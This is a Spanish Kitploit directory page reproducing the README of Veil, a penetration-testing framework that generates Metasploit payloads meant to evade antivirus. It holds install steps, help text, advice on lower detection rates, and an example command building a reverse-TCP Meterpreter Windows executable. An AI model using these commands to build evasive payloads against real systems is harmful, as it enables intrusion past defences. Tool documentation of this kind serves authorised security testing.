Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Veil — Veil 3.1.X (Consulta la información de la versión en Veil en tiempo de ejecución) | Kitploit
Herramientas/GitHubGitHub/veil-framework/veil
Frameworks de ExploitsGeneración de PayloadsPruebas de PenetraciónComando y ControlGeneración de ShellcodeArchived
GitHubveil-framework/veil

Veil

Veil 3.1.X (Consulta la información de la versión en Veil en tiempo de ejecución)

Ver Repositorio
4.2k91439hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Veil

Veil Logo

Veil es una herramienta diseñada para generar payloads de metasploit que evitan las soluciones antivirus comunes.

Veil actualmente tiene soporte por @ChrisTruncer


Requisitos de Software:

Los siguientes SO son oficialmente compatibles:

  • Debian 8+
  • Kali Linux Rolling 2018.1+

Es probable que los siguientes SO puedan ejecutar Veil:

  • Arch Linux
  • Manjaro Linux
  • BlackArch Linux
  • Deepin 15+
  • Elementary
  • Fedora 22+
  • Linux Mint
  • Parrot Security
  • Ubuntu 15.10+
  • Void Linux

Configuración

Instalación rápida en Kali

apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

Instalación rápida mediante Git

NOTA:

  • La instalación debe realizarse con privilegios de superusuario. Si no está utilizando la cuenta root (como por defecto en Kali Linux), anteponga sudo a los comandos o cambie al usuario root antes de comenzar.
  • Su gestor de paquetes puede ser diferente a apt. También necesitará un servidor X en ejecución, ya sea en el propio sistema o en su sistema local.
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent

./config/setup.sh // Archivos de Configuración

Este archivo es responsable de instalar todas las dependencias de Veil. Esto incluye todo el entorno WINE, para el lado de Windows. Instalará todos los paquetes de Linux necesarios y GoLang, así como Python, Ruby y AutoIT para Windows. Además, también ejecutará ./config/update-config.py para su entorno.

Incluye dos banderas opcionales, --force y --silent:

--force ~ Si algo sale mal, esto sobrescribirá la detección de instalaciones previas. Útil cuando hay una actualización del paquete de configuración.
--silent ~ Esto realizará una instalación desatendida de todo, ya que automatizará todos los pasos, por lo que no hay interacción para el usuario.

Esto se puede ejecutar haciendo: ./Veil.py --setup O ./config/setup.sh --force.

./config/update-config.py // Regenerando el archivo de configuración

Esto generará el archivo de salida para /etc/veil/settings.py. La mayoría de las veces no será necesario reconstruirlo, pero en algunos casos se le puede solicitar que lo haga (como en una actualización importante de Veil).

Es importante que esté en el directorio ./config/ antes de ejecutar update-config.py. Si no lo está, /etc/veil/settings.py será incorrecto y al iniciar Veil verá lo siguiente:

    Main Menu

            0 payloads loaded

No se asuste. Ejecute: ./Veil.py --config O cd ./config/; ./update-config.py.

Py2Exe

NOTA: Se recomienda usar Py2Exe en lugar de PyInstaller (ya que tiene una tasa de detección más baja).

Instale MANUALMENTE en un equipo Windows (ya que esto no lo realiza la configuración de Veil):

  • Python 3.3
  • Py2Exe
  • PyCrypto
  • PyWin32

Ejemplo de uso

Menú principal de Veil:

$ ./Veil.py
===============================================================================
                             Veil | [Version]: 3.1.6
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

Main Menu

  2 tools loaded

Available Tools:

  1)  Evasion
  2)  Ordnance

Available Commands:

  exit      Completely exit Veil
  info      Information on a specific tool
  list      List available tools
  options     Show Veil configuration
  update      Update Veil
  use     Use a specific tool

Veil>:

Ayuda

$ ./Veil.py --help
usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config]
               [--version] [--ip IP] [--port PORT] [--list-payloads]
               [-p [PAYLOAD]] [-o OUTPUT-NAME]
               [-c [OPTION=value [OPTION=value ...]]]
               [--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
               [--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
               [--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats]

Veil is a framework containing multiple tools.

[*] Veil Options:
  --list-tools          List Veil's tools
  -t TOOL, --tool TOOL  Specify Veil tool to use (Evasion, Ordnance etc.)
  --update              Update the Veil framework
  --setup               Run the Veil framework setup file & regenerate the
                        configuration
  --config              Regenerate the Veil framework configuration file
  --version             Displays version and quits

[*] Callback Settings:
  --ip IP, --domain IP  IP address to connect back to
  --port PORT           Port number to connect to

[*] Payload Settings:
  --list-payloads       Lists all available payloads for that tool

[*] Veil-Evasion Options:
  -p [PAYLOAD]          Payload to generate
  -o OUTPUT-NAME        Output file base name for source and compiled binaries
  -c [OPTION=value [OPTION=value ...]]
                        Custom payload module options
  --msfoptions [OPTION=value [OPTION=value ...]]
                        Options for the specified metasploit payload
  --msfvenom []         Metasploit shellcode to generate (e.g.
                        windows/meterpreter/reverse_tcp etc.)
  --compiler pyinstaller
                        Compiler option for payload (currently only needed for
                        Python)
  --clean               Clean out payload folders

[*] Veil-Ordnance Shellcode Options:
  --ordnance-payload PAYLOAD
                        Payload type (bind_tcp, rev_tcp, etc.)

[*] Veil-Ordnance Encoder Options:
  --list-encoders       Lists all available encoders
  -e ENCODER, --encoder ENCODER
                        Name of shellcode encoder to use
  -b \x00\x0a.., --bad-chars \x00\x0a..
                        Bad characters to avoid
  --print-stats         Print information about the encoded shellcode
$

CLI de Veil Evasion

$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

runtime/internal/sys
runtime/internal/atomic
runtime
errors
internal/race
sync/atomic
math
sync
io
unicode/utf8
internal/syscall/windows/sysdll
unicode/utf16
syscall
strconv
reflect
encoding/binary
command-line-arguments
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 [*] Language: go
 [*] Payload Module: go/meterpreter/rev_tcp
 [*] Executable written to: /var/lib/veil/output/compiled/payload.exe
 [*] Source code written to: /var/lib/veil/output/source/payload.go
 [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$

CLI de Veil Ordnance

Descargar herramienta